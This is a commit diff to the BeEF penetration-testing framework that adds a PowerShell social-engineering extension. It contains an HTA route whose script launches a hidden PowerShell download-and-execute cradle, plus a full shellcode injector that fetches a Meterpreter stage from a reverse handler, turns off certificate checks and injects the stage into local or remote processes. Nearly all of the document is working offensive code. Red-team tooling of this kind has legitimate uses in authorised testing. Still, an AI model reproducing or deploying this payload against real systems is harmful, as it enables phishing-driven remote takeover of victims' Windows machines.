Added a generic handler for powershell-related attacks.
This commit is contained in:
@@ -46,3 +46,8 @@ beef:
|
||||
cid8: "corner-bl.png"
|
||||
cid9: "corner-br.png"
|
||||
cid10: "bottom-border.png"
|
||||
powershell:
|
||||
# the default payload being used is windows/meterpreter/reverse_https
|
||||
msf_reverse_handler_host: "127.0.0.1"
|
||||
msf_reverse_handler_port: "443"
|
||||
powershell_handler_url: "/ps"
|
||||
@@ -4,30 +4,34 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Extension
|
||||
|
||||
module RegisterSEngHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
|
||||
module RegisterSEngHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
|
||||
|
||||
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||
server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new)
|
||||
end
|
||||
end
|
||||
|
||||
module SocialEngineering
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'social_engineering'
|
||||
@full_name = 'Social Engineering'
|
||||
@description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, powershell-related attacks, etc.'
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler')
|
||||
end
|
||||
end
|
||||
|
||||
module SocialEngineering
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'social_engineering'
|
||||
@full_name = 'Social Engineering'
|
||||
@description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.'
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Handlers
|
||||
require 'extensions/social_engineering/web_cloner/web_cloner'
|
||||
require 'extensions/social_engineering/web_cloner/interceptor'
|
||||
require 'extensions/social_engineering/mass_mailer/mass_mailer'
|
||||
require 'extensions/social_engineering/powershell/bind_powershell'
|
||||
|
||||
# Models
|
||||
require 'extensions/social_engineering/models/web_cloner'
|
||||
|
||||
61
extensions/social_engineering/powershell/bind_powershell.rb
Normal file
61
extensions/social_engineering/powershell/bind_powershell.rb
Normal file
@@ -0,0 +1,61 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
|
||||
#
|
||||
# NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that)
|
||||
# NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that)
|
||||
#
|
||||
# If you use the powershell payload for Office documents, make sure you edit the macro inside the sample documents in this directory:
|
||||
# change the payload URL with your BeEF server and powershell URL settings. By default powershell will be served from:
|
||||
# http://beef_server:beef_port/ps/ps.png
|
||||
#
|
||||
# NOTE: make sure you change the 'host' variable in the main BeEF config.yaml from 0.0.0.0 to the specific IP where BeEF is binded to.
|
||||
class Bind_powershell < BeEF::Core::Router::Router
|
||||
before do
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# serves the HTML Application (HTA)
|
||||
get '/hta' do
|
||||
response['Content-Type'] = "application/hta"
|
||||
|
||||
host = BeEF::Core::Configuration.instance.get('beef.http.host')
|
||||
port = BeEF::Core::Configuration.instance.get('beef.http.port')
|
||||
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||
payload_url = "http://#{host}:#{port}#{ps_url}/ps.png"
|
||||
|
||||
print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}"
|
||||
"<script>
|
||||
var c = \"cmd.exe /c powershell.exe -w hidden -nop -ep bypass -c \\\"\\\"IEX ((new-object net.webclient).downloadstring('#{payload_url}')); Invoke-ps\\\"\\\"\";
|
||||
new ActiveXObject('WScript.Shell').Run(c);
|
||||
</script>"
|
||||
end
|
||||
|
||||
# serves the powershell payload after modifying LHOST/LPORT
|
||||
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
|
||||
get '/ps.png' do
|
||||
response['Content-Type'] = "text/plain"
|
||||
|
||||
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
|
||||
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
|
||||
|
||||
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
|
||||
|
||||
ps_payload = ''
|
||||
if File.exist?(ps_payload_path)
|
||||
ps_payload = File.read(ps_payload_path).gsub("___LHOST___", @ps_lhost).gsub("___LPORT___", @ps_port)
|
||||
end
|
||||
ps_payload
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
486
extensions/social_engineering/powershell/powershell_payload
Normal file
486
extensions/social_engineering/powershell/powershell_payload
Normal file
@@ -0,0 +1,486 @@
|
||||
function Invoke-ps
|
||||
{
|
||||
|
||||
[CmdletBinding( DefaultParameterSetName = 'Metasploit', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[UInt16]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
|
||||
$Payload = 'windows/meterpreter/reverse_https',
|
||||
[String]
|
||||
$Lhost = '___LHOST___',
|
||||
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
|
||||
[Int]
|
||||
$Lport = ___LPORT___,
|
||||
|
||||
[Switch]
|
||||
$Force = $True
|
||||
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2.0
|
||||
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
|
||||
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
|
||||
{
|
||||
$IntSizePtr = $Architecture / 8
|
||||
|
||||
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
|
||||
{
|
||||
$LittleEndianByteArray = New-Object Byte[](0)
|
||||
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
||||
[System.Array]::Reverse($LittleEndianByteArray)
|
||||
|
||||
Write-Output $LittleEndianByteArray
|
||||
}
|
||||
|
||||
$CallStub = New-Object Byte[](0)
|
||||
|
||||
if ($IntSizePtr -eq 8)
|
||||
{
|
||||
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
}
|
||||
else
|
||||
{
|
||||
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
}
|
||||
|
||||
Write-Output $CallStub
|
||||
}
|
||||
|
||||
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
|
||||
{
|
||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
Throw "Unable to open a process handle for PID: $ProcessID"
|
||||
}
|
||||
|
||||
$IsWow64 = $false
|
||||
|
||||
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
||||
{
|
||||
# Determine is the process specified is 32 or 64 bit
|
||||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||||
|
||||
if ((!$IsWow64) -and $PowerShell32bit)
|
||||
{
|
||||
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
|
||||
}
|
||||
elseif ($IsWow64) # 32-bit Wow64 process
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Injecting into a Wow64 process.'
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else # 64-bit process
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
}
|
||||
else # 32-bit CPU
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
|
||||
# Reserve and commit enough memory in remote process to hold the shellcode
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteMemAddr)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode into the previously allocated memory
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($IsWow64)
|
||||
{
|
||||
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate inline assembly stub
|
||||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteStubAddr)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Write 32-bit assembly stub to remote process memory space
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Execute shellcode as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch remote thread in PID: $ProcessID"
|
||||
}
|
||||
|
||||
# Close process handle
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
function Local:Inject-LocalShellcode
|
||||
{
|
||||
if ($PowerShell32bit) {
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the shellcode
|
||||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$BaseAddress)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($PowerShell32bit)
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the thread call stub
|
||||
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$CallStubAddress)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub."
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy call stub to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
||||
|
||||
# Launch shellcode in it's own thread
|
||||
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch thread."
|
||||
}
|
||||
|
||||
# Wait for shellcode thread to terminate
|
||||
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
||||
|
||||
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
if ($IsWow64ProcessAddr)
|
||||
{
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
|
||||
$64bitCPU = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$64bitCPU = $false
|
||||
}
|
||||
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
{
|
||||
$PowerShell32bit = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$PowerShell32bit = $false
|
||||
}
|
||||
|
||||
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
|
||||
{
|
||||
if (!$PowerShell32bit) {
|
||||
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
|
||||
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
|
||||
|
||||
# Pull out just the content of the this script's invocation.
|
||||
$RootInvocation = $MyInvocation.Line
|
||||
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
|
||||
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
|
||||
if ($MyInvocation.BoundParameters['Force'])
|
||||
{
|
||||
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
|
||||
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
|
||||
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
|
||||
}
|
||||
|
||||
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
|
||||
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
|
||||
|
||||
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
|
||||
Invoke-Expression -Command $Execute | Out-Null
|
||||
|
||||
# Exit the script since the shellcode will be running from x86 PowerShell
|
||||
Return
|
||||
}
|
||||
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
|
||||
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to carry out download of Metasploit payload. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
switch ($Payload)
|
||||
{
|
||||
'windows/meterpreter/reverse_http'
|
||||
{
|
||||
$SSL = ''
|
||||
}
|
||||
|
||||
'windows/meterpreter/reverse_https'
|
||||
{
|
||||
$SSL = 's'
|
||||
# Accept invalid certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
}
|
||||
}
|
||||
|
||||
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
|
||||
$Uri = New-Object Uri($Request)
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
$WebClient.Headers.Add('user-agent', "$UserAgent")
|
||||
|
||||
try
|
||||
{
|
||||
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
|
||||
}
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
|
||||
}
|
||||
elseif ($PSBoundParameters['Shellcode'])
|
||||
{
|
||||
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
|
||||
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
|
||||
[Byte[]] $Shellcode32 = $Shellcode
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
}
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Inject shellcode into the specified process ID
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
||||
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
||||
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
||||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||||
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
||||
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
|
||||
{
|
||||
Inject-RemoteShellcode $ProcessId
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Inject shellcode into the currently running PowerShell process
|
||||
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
||||
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
||||
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
||||
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
||||
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
||||
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
|
||||
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
|
||||
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
||||
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
||||
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PowerShell"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode into the running PowerShell process!" ) )
|
||||
{
|
||||
Inject-LocalShellcode
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user